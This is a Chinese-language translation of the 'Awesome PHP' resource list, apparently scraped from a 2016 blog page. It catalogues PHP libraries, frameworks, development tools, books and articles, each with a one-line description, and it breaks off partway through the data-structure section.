一个简单的度量API库 sabre/vobject - 一个解析VCard和iCalendar对象的库 Annotations - 一个注释库(Doctrine的一部分) Whoops - 一个不错的错误处理库 LadyBug - 一个dumper库 Symfony VarDumper - 一个dumper库(SF2) Procrastinator - 一个运行耗时任务的库 SuperClosure - 一个允许闭包序列化的库 Jumper - 一个远程服务执行库 Underscore - 一个Undersccore JS库的PHP实现 PHP PassBook - 一个iOS PassBook PHP库 PHP Expression - 一个PHP表达式语言 RMT - 一个编写版本和发布软件的库 Opengraph - 一个开放图库 Essence -一个提取web媒体的库 Embera - 一个Oembed消费库 Graphviz - 一个图形库 Flux - 一个正则表达式构建库 PHPCR - 一个Java内容存储库(JCR)的PHP实现 ClassPreloader - 一个优化自动加载的库 PHPStack - 一个PHP编写的TCP/IP栈概念 Nmap - 一个Nmap PHP包装器 Lambda PHP - 一个PHP中的Lambda计算解析器 Country List - 所有带有名称和ISO 3166-1编码的国家列表 PHP-GPIO - 一个用于Raspberry PI的GPIO pin的库 print_o - 一个对象图的可视化器 Alias - 一个类别名库 Cake Utility - 工具类如Inflector,字符串,哈希,安全和XML (CP) Slimdump - 一个简单的MySQL dumper工具 Prooph Service Bus - 轻量级的消息总线,支持CQRS和微服务 软件 Software 创建一个开发环境的软件 PHP安装 PHP Installation 在你的电脑上帮助安装和管理PHP的工具 HomeBrew - 一个OSX包管理器 HomeBrew PHP - 一个HomeBrew的PHP通道 PHP OSX - 一个OSX下的PHP安装器 PHP Brew - 一个PHP版本管理和安装器 PHP Env - 另一个PHP版本管理器 PHP Switch - 另一个PHP版本管理器 PHP Build - 另一个PHP版本安装器 VirtPHP - 一个创建和管理独立PHP环境的工具 开发环境 Development Environment 创建沙盒开发环境的软件和工具 Vagrant - 一个便携的开发环境工具 Ansible - 一个非常简单的编制框架 Puppet - 一个服务器自动化框架和应用 PuPHPet - 一个构建PHP开发虚拟机的web工具 Protobox - 另一个构建PHP开发虚拟机的web工具 Phansible - 一个用Ansible构建PHP开发虚拟机的web工具 虚拟机 Virtual Machines 相关的PHP虚拟机 HHVM - Facebook出品的PHP虚拟机,Runtime和JIT HippyVM - 另一个PHP虚拟机 Hack - 一个PHP进行无缝操作的HHVM编程语言 集成开发环境(IDE) Integrated Development Environment 支持PHP的集成开发环境 Netbeans - 一个支持PHP和HTML5的IDE Eclipse for PHP Developers - 一个基于Eclipse平台的PHP IDE PhpStorm - 一个商业PHP IDE Web应用 Web Applications 基于Web的应用和工具 3V4L - 一个在线的PHP和HHVM shell DBV - 一个数据库版本控制应用 PHP Queue - A一个管理后端队列的应用 MailCatcher - 一个抓取和查看邮件的web工具 Cachet - 开源状态页面系统 phpRedisAdmin - 一个用于管理Redis数据库的简单web界面 phpPgAdmin - 一个PostgreSQL的web管理工具 phpMyAdmin - 一个MySQL/MariaDB的web界面 Adminer - 一个数据库管理工具 Grav - 一个现代的flat-file的CMS 基础架构 Infrastructure 提供PHP应用和服务的基础架构 appserver.io - 一个用PHP写的多线程的PHP应用服务器 php-pm - 一个PHP应用的进程管理器、修改器和负载平衡器 资源 Resources 各种提高你的PHP开发技能和知识的资源,比如书籍,网站,文章 PHP网站 PHP Websites PHP相关的有用的网站 PHP The Right Way - 一个PHP最佳实践的快速指引手册 PHP Best Practices - 一个PHP最佳实践指南 PHP Weekly - 一个PHP新闻周刊 Securing PHP - 一个关于PHP安全和库的建议的简报 PHP Security - 一个PHP安全指南 PHP FIG - PHP框架交互组 PHP UG - 一个帮助用户定位最近的PHP用户组(UG)的网站 Seven PHP - 一个PHP社区成员采访的网站 Nomad PHP - 一个在线PHP学习资源 PHP School - 学习PHP的开源资源 PHP Mentoring - 点对点PHP导师组织 PHPTrends - 一个快速增长的PHP类库的概述 PHP Versions - 哪些版本的PHP可以用在哪几种流行的Web主机上的列表 其他网站 Other Websites web开发相关的有用网站 The Open Web Application Security Project (OWASP) - 一个开放软件安全社区 WebSec IO - 一个web安全社区资源 Semantic Versioning - 一个解析语义版本的网站 Atlassian Git Tutorials - 一个Git教程系列 Hg Init - 一个Mercurial教程系列 Servers for Hackers - 一个关于服务器管理的新闻通讯 PHP书籍 PHP Books PHP相关的非常好的书籍 PHP 7 Upgrade Guide - 一本Colin O'Dell的包含所有PHP 7功能和改变的书 PHP Pandas - 一本Dayle Rees关于如何学习写PHP的书 Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书 The Grumpy Programmer's Guide to Building Testable PHP Applications - 一本Chris Hartjes关于构建PHP应用程序测试的书 Grumpy PHPUnit - 一本Chris Hartjes关于使用PHPUnit进行单元测试的书 Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书 Signaling PHP - 一本Cal Evans关于在CLI脚本捕获PCNTL信号的书 Securing PHP: Core Concepts - 一本Chris Cornutt关于PHP常见安全条款和实践的书 Modernising Legacy Applications in PHP - 一本Paul M.Jones关于遗留PHP应用进行现代化的书 Modern PHP New Features and Good Practices - 一本Josh Lockhart关于新的PHP功能和最佳做法的书 Functional Programming in PHP - 这本书将告诉你如何利用PHP5.3+的新功能的认识函数式编程的原则 其他书籍 Other Books 与一般计算和web开发相关的书 The Linux Command Line - William Shotts关于Linux命令行的一本书 Understanding Computation - Tom Stuart关于计算理论的一本书 The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书 Elasticsearch: The Definitive Guide - Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南 Eloquent JavaScript - Marijin Haverbeke关于JavaScript编程的一本书 Vagrant Cookbook - Erika Heidi关于创建 Vagrant环境的一本书 Pro Git - Scott Chacon和Ben Straub关于Git的一本书 Head First Design Patterns - 解说软件设计模式的一本书 PHP视频 PHP Videos PHP相关的非常不错的视频 Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势 PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客 Programming with Anthony - Anthony Ferrara的视频系列 PHP UK Conference - 一个PHP英国会议的视频集合 PHP阅读 PHP Reading PHP相关的阅读资料 Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章 Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章 Preventing CSRF Attacks - 一篇阻止CSRF攻击的文章 Don't Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章 On PHP 5.3, Lambda Functions and Closures - 一篇关于lambda函数和闭包的文章 Use Env - 一篇关于使用unix环境帮助的文章 Composer Primer - Composer初级使用 Composer Versioning - 一篇关于Composer版本的文章 Composer Stability Flags - 一篇关于Composer稳定性标志的文章 PHP Sucks! But I Like It! - 一篇关于PHP利弊的文章 PHP Is Much Better Than You Think - 一篇关于PHP语言和生态圈的文章 PHP内核阅读 PHP Internals Reading 阅读PHP内核或性能相关的资料 PHP RFCs - PHP RFCs主页(请求注解) PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书 Print vs Echo, Which One is Faster? - 一篇关于打印和echo性能的文章 The PHP Ternary Operator. Fast or Not? - 一篇关于三元操作性能的文章 Disproving the Single Quotes Myth - 一篇关于单,双引号字符串性能的文章 You're Being Lied To - 一篇关于内核ZVALs的文章 How Long is a Piece of String - 一篇关于字符串原理的文章 Understanding OpCodes - 一篇关于opcodes的文章 How Foreach Works - StackOverflow关于foreach回答的详情 When Does Foreach Copy? - 一篇关于foreach原理的文章 How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章 Why Objects (Usually) Use Less Memory Than Arrays - 一篇关于对象和数组原理的文章 PHP Evaluation Order - 一篇关于PHP评估顺序的文章 开发人员的PHP源代码: 1 2 3 4 - 关于PHP源代码的系列 垃圾收集: 1 2 3 - 关于PHP垃圾收集原理的系列 PHP杂志 PHP Magazines
文章
安全  ·  API  ·  PHP  ·  开发工具  ·  数据安全/隐私保护
2016-10-16
PHP 资源备忘
Awesome PHP 一个PHP资源列表,内容包括:库、框架、模板、安全、代码分析、日志、第三方库、配置工具、Web 工具、书籍、电子书、经典博文等等 贡献 详细内容请查看贡献 和 代码管理. 目录 Awesome PHP 依赖管理 Dependency Management 其他的依赖管理 Dependency Management Extras 框架 Frameworks 其他框架 Framework Extras 框架组件 Components 微型框架 Micro Frameworks 其他微型框架 Micro Framework Extras 路由 Routers 模板 Templating 静态站点生成器 Static Site Generators 超文本传输协议 HTTP 爬虫 Scraping 中间件 Middlewares 网址 URL 电子邮件 Email 文件 Files 流 Streams 依赖注入 Dependency Injection 图像 Imagery 测试 Testing 持续集成 Continuous Integration 文档 Documentation 安全 Security 密码 Passwords 代码分析 Code Analysis Architectural Architectural 调试和分析 Debugging and Profiling 构建工具 Build Tools 任务运行器 Task Runners 导航 Navigation 资源管理 Asset Management 地理位置 Geolocation 日期和时间 Date and Time 事件 Event 日志 Logging 电子商务 E-commerce PDF PDF Office Office 数据库 Database 迁移 Migrations NoSQL NoSQL 队列 Queue 搜索 Search 命令行 Command Line 身份验证和授权 Authentication and Authorization 标记 Markup 字符串 Strings 数字 Numbers 过滤和验证 Filtering and Validation API API 缓存 Caching 数据结构和存储 Data Structure and Storage 通知 Notifications 部署 Deployment 国际化和本地化 Internationalisation and Localisation 第三方API Third Party APIs 扩展 Extensions 杂项 Miscellaneous 软件 Software PHP安装 PHP Installation 开发环境 Development Environment 虚拟机 Virtual Machines 集成开发环境(IDE) Integrated Development Environment Web应用 Web Applications 基础架构 Infrastructure 资源 Resources PHP网站 PHP Websites 其他网站 Other Websites PHP书籍 PHP Books 其他书籍 Other Books PHP视频 PHP Videos PHP阅读 PHP Reading PHP内核阅读 PHP Internals Reading PHP杂志 PHP Magazines 贡献 依赖管理 Dependency Management 依赖和包管理库 Composer Installers - 一个多框架Composer库安装器 Composer/Packagist - 一个包和依赖管理器 Melody - 一个用于构建Composer脚本文件的工具 Pickle - 一个PHP扩展安装器 其他的依赖管理 Dependency Management Extras 其他的相关依赖管理 Composed - 一个在运行时解析你项目Composer环境的库 Composer Checker - 一个校验Composer配置的工具 Composer Merge Plugin - 一个用于合并多个composer.json文件的Composer插件 Composition - 一个在运行时检查Composer环境的库 NameSpacer - 一个转化下划线到命名空间的库 Patch Installer - 一个使用Composer安装补丁的库 Prestissimo - 一个开启并行安装进程的Composer插件 Satis - 一个静态Composer存储库的生成器 Toran Proxy - 一个静态Composer存储库和代理 框架 Frameworks Web开发框架 Aura PHP - 一个独立的组件框架 CakePHP - 一个快速应用程序开发框架 (CP) Laravel 5 - 另一个PHP框架 (L5) Nette - 另一个由个体组件组成的框架 Phalcon - 通过C扩展实现的框架 PPI Framework 2 - 一个互操作性框架 Symfony 2 - 一个独立组件组成的框架 (SF2) Yii2 - 另一个PHP框架 Zend Framework 2 - 另一个由独立组件组成的框架 (ZF2) Radar - 一个基于PHP的Action-Domain-Responder实现 Ice - 另一个通过C扩展实现的简单快速的PHP框架 其他框架 Framework Extras 其他Web开发框架 CakePHP CRUD - CakePHP的快速应用程序(RAD)插件 Knp RAD Bundle - Symfony 2的快速应用程序(RAD)包 Symfony CMF - 一个创建自定义CMS的内容管理框架 框架组件 Components 来自web开发框架的独立组件 CakePHP Plugins - CakePHP插件的目录 Hoa Project - 另一个PHP组件包 League of Extraordinary Packages - 一个PHP软件开发组 Symfony2 Components - Symfony 2组件 Zend Framework 2 Components - Zend Framework 2组件 微型框架 Micro Frameworks 微型框架和路由 Bullet PHP - 用于构建REST APIs的微型框架 Lumen - 一个Laravel的微型框架 Proton - 一个StackPHP兼容的微型框架 Silex - 基于Symfony2组件的微型框架 Slim - 另一个简单的微型框架 其他微型框架 Micro Framework Extras 其他相关的微型框架和路由 Silex Skeleton - Silex的项目架构 Silex Web Profiler - 一个Silex web的调试工具 Slim Skeleton - Slim架构 Slim View - Slim自定义视图的集合 路由 Routers 处理应用路由的库 Fast Route - 一个快速路由的库 Klein - 一个灵活的路由的库 Pux - 另一个快速路由的库 Route - 一个基于Fast Route的路由的库 模板 Templating 模板化和词法分析的库和工具 Foil - 另一个原生PHP模板库 Lex - 一个轻量级模板解析器 MtHaml - 一个HAML模板语言的PHP实现 Mustache - 一个Mustache模板语言的PHP实现 Phly Mustache - 另一个Mustache模板语言的PHP实现 PHPTAL - 一个TAL模板语言的PHP实现 Plates - 一个原生PHP模板库 Smarty - 一个模板引擎 Twig - 一个全面的模板语言 Tale Jade - Jade模版语言的PHP实现 静态站点生成器 Static Site Generators 用来生成web页面的预处理内容的工具 Couscous - 一个将Markdown转化为漂亮的网站的工具 Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具 Sculpin - 转换Markdown和Twig为静态HTML的工具 Spress - 一个能够将Markdown和Twig转化为HTML的可扩展工具 超文本传输协议 HTTP 用于HTTP的库 Buzz - 另一个HTTP客户端 Guzzle - 一个全面的HTTP客户端 HTTPFul - 一个链式HTTP库 PHP VCR - 一个录制和重放HTTP请求的库 Requests - 一个简单的HTTP库 Retrofit - 一个能轻松创建REST API客户端的库 zend-diactoros - PSR-7 HTTP消息实现 爬虫 Scraping 用于网站爬取的库 Embed - 一个从web服务或网页中提取的信息的工具 Goutte - 一个简单的web爬取器 PHP Spider - 一个可配置和可扩展的PHP web爬虫 中间件 Middlewares 使用中间件构建应用程序的库 Expressive - 基于PSR-7的Zend中间件 PSR7-Middlewares - 灵感来源于方便的中间件 Relay - 一个PHP 5.5 PSR-7的中间件调度器 Slim Middleware - 一个用于Slim的自定义的中间件的集合 Stack - 一个用于Silex/Symfony的可堆叠的中间件的库 zend-stratigility - 基于PHP PSR-7之上的中间件之上 网址 URL 解析URL的库 PHP Domain Parser - 一个本地前缀解析库 Purl - 一个URL处理库 sabre/uri - 一个URI操作库 Uri - 另一个URL处理库 电子邮件 Email 发送和解析邮件的库 CssToInlineStyles - 一个在邮件模板中的内联CSS库 Email Reply Parser - 一个邮件回复解析的库 Email Validator - 一个较小的电子邮件验证库 Fetch - 一个IMAP库 Mautic - 邮件营销自动化 PHPMailer - 另一个邮件解决方案 Stampie - 一个邮件服务库,类似于SendGrid,PostMark,MailGun和Mandrill. SwiftMailer - 一个邮件解决方案 文件 Files 文件处理和MIME类型检测的库 Apache MIME Types - 一个解析Apache MIME类型的库 Canal - 一个检测互联网媒体类型的库 CSV - 一个CSV数据处理库 Ferret - 一个MIME检测库 Flysystem - 另一个文件系统抽象层 Gaufrette - 一个文件系统抽象层 Hoa Mime - 另一个MIME检测库 Lurker - 一个资源跟踪库 PHP FFmpeg - 一个用于FFmpeg视频包装的库 流 Streams 处理流的库 Streamer - 一个简单的面向对象的流包装库 依赖注入 Dependency Injection 实现依赖注入设计模式的库 Acclimate - 一个依赖注入容器和服务定位的通用接口 Auryn - 一个递归的依赖注入容器 Container - 另一个可伸缩的依赖注入容器 PHP-DI - 一个支持自动装配和PHP配置的依赖注入容器 Pimple - 一个小的依赖注入容器 Symfony DI - 一个依赖注入容器组件 (SF2) 图像 Imagery 处理图像的库 Color Extractor - 一个从图像中提取颜色的库 GIF Creator - 一个通过多张图片创建GIF动画的库 GIF Frame Extractor - 一个提取GIF动画帧信息的库 Glide - 一个按需处理图像的库 Image Hash - 一个用于生成图像哈希感知的库 Image Optimizer - 一个优化图像的库 Image With Text - 一个在图像中嵌入文本的库 Imagine - 一个图像处理库 Intervention Image - 另一个图像处理库 PHP Image Workshop - 另一个图像处理库 测试 Testing 测试代码和生成测试数据的库 Alice - 富有表现力的一代库 AspectMock - 一个PHPUnit/Codeception的模拟框架。 Atoum - 一个简单的测试库 Behat - 一个行为驱动开发(BDD)测试框架 Codeception - 一个全栈测试框架 DBUnit - 一个PHPUnit的数据库测试库 Faker - 一个伪数据生成库 HTTP Mock - 一个在单元测试模拟HTTP请求的库 Kahlan - 全栈Unit/BDD测试框架,内置stub,mock和代码覆盖率的支持 Mink - Web验收测试 Mockery - 一个用于测试的模拟对象的库 ParaTest - 一个PHPUnit的并行测试库 Peridot - 一个事件驱动开发的测试框架 Phake - 另一个用于测试的模拟对象的库 Pho - 另一个行为驱动开发测试框架 PHPSpec - 一个基于功能点设计的单元测试库 PHPT - 一个使用PHP本身的测试工具 PHPUnit - 一个单元测试框架 Prophecy - 一个可选度很高的模拟框架 Samsui - 另一个伪数据生成库 VFS Stream - 一个用于测试的虚拟文件系统流的包装器 VFS - 另一个用于测试虚拟的文件系统 持续集成 Continuous Integration 持续集成的库和应用 GitlabCi - 使用GitLab CI测试、构建、部署你的代码,像TravisCI Jenkins - 一个PHP支持的持续集成平台 JoliCi - 一个用PHP编写的由Docker支持的持续集成的客户端 PHPCI - 一个PHP的开源的持续集成平台 SemaphoreCI - 一个开放源码和私人项目的持续集成平台 Shippable - 一个基于开源和私人项目持续集成平台的docker Sismo - 一个持续测试的服务库 Travis CI - 一个持续集成平台 Wercker - 一个持续集成平台 文档 Documentation 生成项目文档的库 APIGen - 另一个API文档生成器 daux.io - 一个使用Markdown文件的文档生成器 PHP Documentor 2 - 一个API文档生成器 phpDox - 一个PHP项目的文档生成器(不限于API文档) Sami - 一个API文档生成器 安全 Security 生成安全的随机数,加密数据,扫描漏洞的库 Halite - 一个简单的使用libsodium的加密库 HTML Purifier - 一个兼容标准的HTML过滤器 IniScan - 一个扫描PHP INI文件安全的库 Optimus - 基于Knuth乘法散列方法的身份混淆工具 PHP Encryption - 一个安全的PHP加密库 PHP IDS - 一个结构化的PHP安全层 PHP SSH - 一个试验的面向对象的SSH包装库 PHPSecLib - 一个纯PHP安全通信库 RandomLib - 一个生成随机数和字符串的库 SecurityMultiTool - 一个PHP安全库 SensioLabs Security Check - 一个为检查Composer依赖提供安全建议的web工具 TCrypto - 一个简单的键值加密存储库 True Random - 使用www.random.org生成随机数的库 VAddy - 一个持续安全的web应用测试平台 Zed - 一个集成的web应用渗透测试工具 密码 Passwords 处理和存储密码的库和工具 GenPhrase - 一个随机生成安全密码哈希的库 Password Compat - 一个新的PHP5.5密码函数的兼容库 Password Policy - 一个PHP和JavaScript的密码策略库 Password Validator - 一个校验和升级密码哈希的库 Password-Generator - 一个生成随机密码的PHP库 PHP Password Lib - 一个生成和校验密码的库 phpass - 一个便携式的密码哈希框架 Zxcvbn PHP - 一个基于Zxcvbn JS的现实的PHP密码强度估计库 代码分析 Code Analysis 分析,解析和处理代码库的库和工具 Athletic - 一个基于注释的基准检测库 Code Climate - 一个自动代码审查工具 Dissect - 一个词法和语法分析的工具集合 Exakat - 一个PHP的静态分析引擎 GrumPHP - 一个用来保护代码质量的Composer插件 Mondrian - 使用图论的代码分析工具 PHP Analyser - 一个分析PHP代码查找缺陷和错误的库 PHP Code Sniffer - 一个检测PHP、CSS和JS代码标准冲突的库 PHP CS Fixer - 一个编码标准库 PHP Manipulator - 一个分析和修改PHP源代码的库 PHP Mess Detector - 一个扫描代码缺陷,次优代码,未使用的参数等等的库。 PHP Metrics - 一个静态测量库 PHP Parser - 一个PHP编写的PHP解析器 PHP Refactoring Browser - 一个重构PHP代码的命令行工具集 PHP Semantic Versioning Checker - 一个比较两个源集和确定适当的应用语义版本的命令行实用程序 phan - 一个基于PHP 7+和php-ast扩展的静态分析器 PHPCheckstyle - 一个帮助遵守特定的编码惯例的工具 PHPCPD - 一个检测复制和粘贴代码的库 PhpDependencyAnalysis - 一个创建可定制依赖图的工具 PHPLOC - 一个快速测量PHP项目大小的工具 PHPQA - 一个用于运行质量保证工具的工具(phploc, phpcpd, phpcs, pdepend, phpmd, phpmetrics). PHPPHP - 一个PHP实现的PHP虚拟机 PHPSandbox - 一个PHP沙盒环境 Qafoo Quality Analyzer - 一个可视化指标和源代码的工具 Scrutinizer - 一个审查PHP代码的web工具 UBench - 一个简单的微型基准检测库 Architectural Architectural 相关的设计模式库,组织代码编程的方法和途径 Compose - 一个功能组合库 Design Patterns PHP - 一个使用PHP实现的设计模式存储库 Finite - 一个简单的PHP有限状态机 Functional PHP - 一个函数式编程库 Galapagos - 语言转换进化 Iter - 一个使用生成器提供迭代原语的库 Monad PHP - 一个简单Monad库 Patchwork - 一个重新定义用户的函数库 PHP Option - 一个可选的类型库 Pipeline - 一个管道模式的实现 Ruler - 一个简单的无状态的生产环境规则引擎 RulerZ - 一个强大的规则引擎和规范模式的实现 调试和分析 Debugging and Profiling 调试和分析代码的库和工具 APM - 一个收集SQLite/MySQL/StatsD错误信息和统计信息的监控扩展 Barbushin PHP Console - 另一个使用Google Chrome的web调试控制台 Blackfire.io - 一个低开销的代码分析器 Kint - 一个调试和分析工具 PHP Console - 一个web调试控制台 PHP Debug Bar - 一个调试工具栏 PHPBench - 一个基准测试框架 PHPDBG - 一个交互的PHP调试器 Tideways.io - Monitoring and profiling tool Tracy - A一个简单的错误检测,写日志和时间测量库 xDebug - 一个调试和分析PHP的工具 XHProf - 一个最初由Facebook开发的分析工具 Z-Ray - 一个调试和配置Zend服务器的工具 构建工具 Build Tools 项目构建和自动化工具 Bob - 一个简单的项目自动化工具 Box - 一个构建PHAR文件的工具 Phake - 一个PHP克隆库 Phing - 一个灵感来自于Apache Ant的PHP项目构建系统 任务运行器 Task Runners 自动运行任务的库 Bldr - 一个构建在Symfony组件上的PHP任务运行器 Jobby - 一个没有修改crontab的PHP定时任务管理器 Robo - 一个面向对象配置的PHP任务运行器 Task - 一个灵感来源于Grunt和Gulp的纯PHP任务运行器 导航 Navigation 构建导航结构的工具 Cartographer - 一个站点地图生成库 KnpMenu - 一个菜单库 资源管理 Asset Management 管理,压缩和最小化web站点资源的工具 Assetic - 一个资源管理的管道库 JShrink - 一个JavaScript的最小化库 Munee - 一个资源优化库 Pipe - 另一个资源管理的管道库 Puli - 一个检测资源绝对路径的库 地理位置 Geolocation 地理编码地址和使用纬度经度的库 GeoCoder - 一个地理编码库 GeoJSON - 一个GeoJSON的实现 GeoTools - 一个地理工具相关的库 PHPGeo - 一个简单的地理库 日期和时间 Date and Time 处理日期和时间的库 CalendR - 一个日历管理库 Carbon - 一个简单的日期时间API扩展 ExpressiveDate - 另一个日期时间API扩展 Moment.php - 灵感来源于Moment.js的PHP DateTime处理库,支持国际化 事件 Event 时间驱动或实现非阻塞事件循环的库 Amp - 一个事件驱动的不阻塞的I/O库 Broadway - 一个事件源和CQRS(命令查询责任分离)库 Cake Event - 一个事件调度的库 (CP) Elephant.io - 另一个web socket库 Evenement - 一个事件调度的库 Event - 一个专注于域名事件的库 Hoa EventSource - 一个事件源库 Hoa WebSocket - 另一个web socket库 Icicle - 一个支持协同,非阻塞I/O,多线程的异步库 Prooph Event Store - 一个持久化事件消息的事件源组件 Ratchet - 一个web socket库 React - 一个事件驱动的非阻塞I/O库. Rx.PHP - 一个reactive扩展库 Workerman - 一个事件驱动的不阻塞的I/O库 日志 Logging 生成和处理日志文件的库 Analog - 一个基于闭包的微型日志包 KLogger - 一个易用的兼容PSR-3的日志类 Monolog - 一个全面的日志工具 电子商务 E-commerce 处理支付和构建在线电子商务商店的库和应用 Money - 一个Fowler金钱模式的PHP实现 OmniPay - 一个框架混合了多网关支付处理的库 Payum - 一个支付抽象库 Shopware - 一个可高度定制的电子商务软件 Swap - 一个汇率库 Sylius - 一个开源的电子商务解决方案 PDF PDF 处理PDF文件的库和软件 Dompdf - 一个将HTML转换为PDF的工具 PHPPdf - 一个将XML文件转换为PDF和图片的库 Snappy - 一个PDF和图像生成器库 WKHTMLToPDF - 一个将HTML转换为PDF的工具 Office Office Libraries for working with office suite documents. ExcelAnt - 一个操作Excel文档的库 PHPExcel - 一个处理Excel文档的库 PHPPowerPoint - 一个处理PPT文档的库 PHPWord - 一个处理Word文档的库 数据库 Database 使用对象关系映射(ORM)或数据映射技术的数据库交互的库 Baum - 一个Eloquent的嵌套集实现 Cake ORM - 对象关系映射工具,利用DataMapper模式实现 (CP) Doctrine Extensions - 一个Doctrine行为扩展的集合 Doctrine - 一个全面的DBAL和ORM Eloquent - 一个简单的ORM(L5) LazyRecord - 一个简单、可扩展、高性能的ORM Pomm - 一个PostgreSQL对象模型管理器 Propel - 一个快速的ORM,迁移库和查询构架器 ProxyManager - 一个为数据映射生成代理对象的工具集 RedBean - 一个轻量级,低配置的ORM Spot2 - 一个MySQL的ORM映射器 迁移 Migrations 帮助管理数据库模式和迁移的库 Doctrine Migrations - 一个Doctrine的迁移库 Migrations - 一个迁移管理库 Phinx - 另一个数据库迁移的管理库 PHPMig - 另一个迁移管理库 Ruckusing - 基于PHP下ActiveRecord的数据库迁移,支持MySQL, Postgres, SQLite NoSQL NoSQL 处理NoSQL后端的库 Monga - 一个MongoDB抽象库 MongoQB - 一个MongoDB查询构建库 PHPMongo - 一个MongoDB ORM. Predis - 一个功能完整的Redis库 队列 Queue 处理事件和任务队列的库 Bernard - 一个多后端抽象库 BunnyPHP - 一个高性能的纯PHP AMQP(RabbitMQ)同步和异步(ReactPHP)库 Pheanstalk - 一个Beanstalkd客户端库 PHP AMQP - 一个纯PHP AMQP库 Tarantool Queue - PHP绑定Tarantool队列 Thumper - 一个RabbitMQ模式库 搜索 Search 在数据上索引和执行查询的库和软件 Elastica - ElasticSearch的客户端库 ElasticSearch PHP - ElasticSearch的官方客户端库 Solarium - Solr的客户端库 Sphinx Search - Sphinx搜索库,提供SphinxQL索引和搜索的功能 SphinxQL query builder - Sphinx搜索引擎的的查询库 命令行 Command Line 关于命令行工具的库 Boris - 一个微型PHP REPL Cilex - 一个构建命令行工具的微型框架 CLI Menu - 一个构建CLI菜单的库 CLIFramework - 一个支持完全zsh/bash、子命令和选项约束的命令行框架,这也归功于phpbrew CLImate - 一个输出带颜色的和特殊格式的命令行库 Commando - 另一个简单的命令行选择解析器 Cron Expression - 一个计算cron运行日期的库 GetOpt - 一个命令行选择解析器 GetOptionKit - 另一个命令行选择解析器 Hoa Console - 另一个命令行库 OptParse - 另一个命令行选择解析器 Pecan - 一个事件驱动和非阻塞的shell PsySH - 另一个PHP REPL ShellWrap - -一个简单的命令行包装库 Shunt - 一个在多台远程机器上并行运行命令行的库 身份验证和授权 Authentication and Authorization 实现身份验证和授权的库 Hawk - 一个Hawk HTTP身份认证库 HybridAuth - 一个开源的社交登陆库 Json Web Token - 使用JSON Tokens进行身份验证和信息传输 Lock - 一种实现访问控制列表(ACL)系统的库 OAuth 1.0 Client - 一个OAuth 1.0客户端的库 OAuth 2.0 Client - 一个OAuth 2.0客户端的库 OAuth2 Server - 另一个OAuth2服务器实现 OAuth2 Server - 另一个OAuth2服务器实现 Opauth - 一个多渠道的身份验证框架 PHP oAuthLib - 另一个OAuth库 Sentinel Social - 一个社交网络身份验证库 Sentinel - 一个混合的身份验证和授权的框架库 TwitterOAuth - 一个Twitter OAuth库 TwitterSDK - 一个完全测试的Twitter SDK 标记 Markup 处理标记的库 Cebe Markdown - 一个快速的可扩展的Markdown解析器 Ciconia - 另一个支持Github Markdown风格的Markdown解析器 CommonMark PHP - 一个对CommonMark spec全支持的Markdown解析器 Decoda - 一个轻量级标记解析库 Emoji - 一个把Unicode字符和名称转换为表情符号图片的库 HTML to Markdown - 将HTML转化为Markdown HTML5 PHP - 一个HTML5解析和序列化库 Parsedown - 另一个Markdown解析器 PHP Markdown - 一个Markdown解析器 字符串 Strings 解析和处理字符串的库 Agent - 一个基于Mobiledetect的桌面/手机端user agent解析库 ANSI to HTML5 - 一个将ANSI转化为HTML5的库 Color Jizz - 处理和转换颜色的库 Device Detector - 另一个解析user agent字符串的库 Hoa String - 另一个UTF-8字符串库 Jieba-PHP - Python的jieba的PHP端口,自然语言处理的中文文本分词 Mobile-Detect - 一个用于检测移动设备的轻量级PHP类(包括平板电脑) Patchwork UTF-8 - 一个处理UTF-8字符串的便携库 Slugify - 转换字符串到slug的库 SQL Formatter - 一个格式化SQL语句的库 Stringy - 一个多字节支持的字符串处理库 Text - 一个文本处理库 UA Parser - 一个解析user agent字符串的库 URLify - 一个Django中URLify.js的PHP版本 UUID - 生成UUIDs的库 数字 Numbers 处理数字的库 ByteUnits - 一个在二进制和度量系统中解析,格式化和转换字节单元的库 LibPhoneNumber for PHP - 一个Google电话号码处理的PHP实现库 Math - 一个处理巨大数字的库 Numbers PHP - 一个处理数字的库 PHP Conversion - 另一个用于度量单位间转换的库 PHP Units of Measure - 一个计量单位转换的库 过滤和验证 Filtering and Validation 过滤和验证数据的库 Cake Validation - 另一个验证库 (CP) DMS Filter - 一个注释过滤库 Filterus - 一个简单的PHP过滤库 ISO-codes - 一个验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN) MetaYaml - 一个支持YAML,JSON和XML的模式验证库 Respect Validation - 一个简单的验证库 Upload - 一个处理文件上传和验证的库 Valitron - 另一个验证库 Volan - 另一个简单的验证库 API API 开发REST-ful API的库和web工具 API Platform - 暴露出REST API的项目,包含JSON-LD, Hydra格式 Apigility - 一个使用Zend Framework 2构建的API构建器 Drest - 一个将Doctrine实体暴露为REST资源节点的库 HAL - 一个超文本应用语言(HAL)构建库 Hateoas - 一个HOATEOAS REST web服务库 Negotiation - 一个内容协商库 Restler - 一个将PHP方法暴露为RESTful web API的轻量级框架 wsdl2phpgenerator - 一个从SOAP WSDL文件生成PHP类的工具 缓存 Caching 缓存数据的库 Alternative PHP Cache (APC) - 打开PHP操作码缓存 APIx Cache - 一个轻量级的PSR-6缓存 CacheTool - 一个使用命令行清除apc/opcode缓存的工具 Cake Cache - 一个缓存库 (CP) Doctrine Cache - 一个缓存库 Stash - 另一个缓存库 Zend Cache - 另一个缓存库 (ZF2) 数据结构和存储 Data Structure and Storage 实现数据结构和存储技术的库 Ardent - 一个数据结构库 Cake Collection - 一个简单的集合库 (CP) Collections - 一个PHP的集合抽象库 Fractal - 一个转换复杂数据结构到JSON输出的库 Ginq - 另一个基于.NET实现的PHP的LINQ库 JsonMapper - 一个将内嵌JSON结构映射为PHP类的库 Knapsack - 一个集合的库,灵感来自Clojure的相关库 PHP Collections - 